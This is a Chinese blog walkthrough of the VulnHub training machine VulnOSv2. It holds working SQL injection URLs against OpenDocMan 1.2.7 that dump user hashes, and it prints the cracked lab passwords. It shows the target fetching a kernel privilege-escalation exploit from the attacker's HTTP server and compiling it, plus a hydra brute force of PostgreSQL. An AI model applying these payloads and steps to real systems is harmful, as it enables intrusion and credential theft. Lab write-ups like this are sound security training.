打靶日记 VulnHub靶机 VulnOSv2

微信公众号:泷羽Sec-临观

欢迎评论 💬点赞👍🏻 收藏 📂加关注+

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l

在这里插入图片描述

nmap -sS -sV -p- -T5 192.168.253.232 -A

在这里插入图片描述

二、进入网页信息收集

在这里插入图片描述

进行目录扫描

dirb http://192.168.253.232/jabc/

在这里插入图片描述

尝试dirsearch去找有没有隐藏的文件

dirsearch -u http://192.168.253.232/jabc/

在这里插入图片描述

发现一个robots.txt,

在这里插入图片描述

在q=user目录下发现一个登录界面

在这里插入图片描述

到网页进行信息搜集,逆天,这里字是黑色的,在Documentation页面发现/jabcd0cs/目录

在这里插入图片描述

查看网页源代码

在这里插入图片描述

发现guest用户,密码也是guest,也就是临时用户,通常是低权限用户,有时候可能会开启共享服务,通过guest用户来进行横向移动

在这里插入图片描述

进入guest用户,发现文件上传,这里不允许上传php,尝试反弹shell,成功绕过,但是没找到目录进行访问文件,

上传一个jpg图片,使用burp抓包,修改文件后缀将.jpg改为.php.jpg或者.php.尝试

在这里插入图片描述

在这里插入图片描述

三、SQL注入

在最开始的登录界面尝试过万能密码没成功,看到OpenDocMan 1.2.7,去看看有没有漏洞,结果有

在这里插入图片描述

这里有利用方法,利用SQL注入

在这里插入图片描述

http://192.168.253.232/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

在这里插入图片描述

查库名

http://192.168.253.232/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9

在这里插入图片描述

查表名

http://192.168.253.232/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema= database()

在这里插入图片描述

检查是否存在单引号过滤或转义机制

http://192.168.253.232/jabcd0cs/ajax_udf.php?q=1'

页面正常无错误: 可能说明单引号被过滤(直接删除)或转义(如转换为 \')。

在这里插入图片描述

列odm_user表

odm_user

因为可能存在单引号转义机制,用十六进制编码替代字符串,避免单引号使用

http://192.168.253.232/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x6f646d5f75736572 and table_schema=database()

table_schema=database():限定只查询当前数据库的表字段,确保结果唯一性

在这里插入图片描述

获取 odm_user 表中 username 和 Password 列的数据

group_concat(Username,0x7e,Password) 会将 Users 表中每一行的 UsernamePassword 字段值连接起来,中间用 0x7e 分隔。0x7e 是十六进制表示,对应的 ASCII 字符是波浪线 ~,便于区分不同字段

http://192.168.253.232/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(Username,0x7e,Password),3,4,5,6,7,8,9 from odm_user --+

在这里插入图片描述

webmin~b78aae356709f8c31118ea613980954b

guest~0844e0343a0486ff05530df6c705c8bb4

直接得到用户名和加密后的密码,这时可以用kali自带的hash-identifier

在这里插入图片描述

推荐这个网站解密:https://hashes.com/en/decrypt/hash

或者用这个https://www.somd5.com/

webmin~webmin1980

四、登录webmin用户(OpenDocMan

OpenDocMan 文档管理系统

OpenDocMan 是一个基于 PHP 的开源文档管理系统(DMS),旨在符合 ISO 17025 和 OIE 标准。它提供了对文件的细粒度访问控制,并支持自动安装和升级(1)(2)。

主要功能

  • 文件上传:用户可以通过网页浏览器上传文件。

  • 访问控制:基于部门或个人用户权限控制文件访问。

  • 版本跟踪:跟踪文档的修订版本。

  • 审核流程:可以设置新文件和更新文件的审核流程。

  • 兼容性:可以安装在大多数支持 PHP 的 Web 服务器上

webmin有管理员用户,guest没有,可以看到这里的

在这里插入图片描述

点击添加文件格式(Add File Type)

在这里插入图片描述

在这里插入图片描述

上传成功

在这里插入图片描述

文件都会上传到这个目录下,在Admin的Edit setting下

在这里插入图片描述

发现为/jabcd0cs/uploads/目录

在这里插入图片描述

发现上传的都变成了dat格式,这条路行不通

在这里插入图片描述

五、提权

内核提权

直接去尝试ssh登录

在这里插入图片描述

登录成功

建立交互式终端

python -c "import pty; pty.spawn('/bin/bash');"

查看版本信息

uname -a 
lsb_release -a

在这里插入图片描述

Linux 3.13 ubuntu为14.04 ,优先尝试37292.c和37293.txt

searchsploit ubuntu 14.04 privilege | grep -v 'x86-64' 

在这里插入图片描述

#kali(攻击机)
searchsploit -m 37292.c
python -m http.server
#靶机
wget http://192.168.253.129:8000/37292.c
gcc -o exp 37292.c
chmod +x exp
./exp

在这里插入图片描述

在这里插入图片描述

postgresql数据库爆破

这个方法是从别的师傅那看到的方法

由于webmin没有****netstat -p选项的权限,所以得netstat两遍:

netstat -p
  • -p:Process 的缩写,用于显示与网络连接相关的 进程 ID(PID) 和 进程名称。
netstat -ant

在这里插入图片描述

netstat -at
  • netstat:网络状态(Network Statistics)的缩写,用于显示网络连接、路由表、接口统计等信息。

  • -a:显示所有活动的网络连接(包括监听状态的连接)。

  • -t:仅显示 TCP 协议的连接(对应 UDP 协议用 -u)。

在这里插入图片描述

PostgreSQL 是一个功能强大的开源对象关系型数据库系统。它不仅使用和扩展了SQL语言,还结合了许多安全存储和扩展最复杂数据工作负载的功能,一般存在空密码漏洞

没权限进入vulnosadmin目录,在webmin目录下发现post解压

在这里插入图片描述

进入post

cd post
ls
./configure
make

下载成功后,攻击机上进入/usr/share/metasploit-framework/data/wordlists目录,开http服务

cd /usr/share/metasploit-framework/data/wordlists
python -m http.server
# 下载postgres_default_pass.txt和postgres_default_user.txt字典
wget http://192.168.253.129:8000/postgres_default_pass.txt
wget http://192.168.253.129:8000/postgres_default_user.txt

在这里插入图片描述

用hydra进行爆破

./hydra -L postgres_default_user.txt -P postgres_default_pass.txt localhost postgres

在这里插入图片描述

postgres postgres

登录postgresql

psql -h localhost -U postgres

登录成功

在这里插入图片描述

查看所有数据库

\l
  • \h:查看SQL命令的解释,比如\h select。

  • ?:查看psql命令列表。

  • \l:列出所有数据库。

  • \c [database_name]:进入数据库。

  • \d:列出当前数据库的所有表格。

  • \d [table_name]:列出某一张表格的结构。

  • \du:列出所有用户。

  • \e:打开文本编辑器。

  • \conninfo:列出当前数据库和连接的信息。

  • \q:退出

在这里插入图片描述

进入system数据库

 \c system

列出system数据库的表

 \d

在这里插入图片描述

获取system数据库users表的内容(注意结尾分号,关键字大写)

SELECT * FROM users;

在这里插入图片描述

得到vulnosadmin的密码c4nuh4ckm3tw1c3

再ssh去连接vulnosadmin用户

在这里插入图片描述

在这里插入图片描述

发现有一个r00t.blend的文件

在靶机上开启一个简单的http简易服务

python -m SimpleHTTPServer 8888

在攻击机kali上将文件下载下来

wget http://192.168.253.232:8888/r00t.blend

到https://imagetostl.com/cn/view-blend-online这个网站打开

将blender文件上传到网站可以看到ab12fg//drg,为root密码

ssh root@192.168.253.232

直接登录为root,提权成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

临观_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值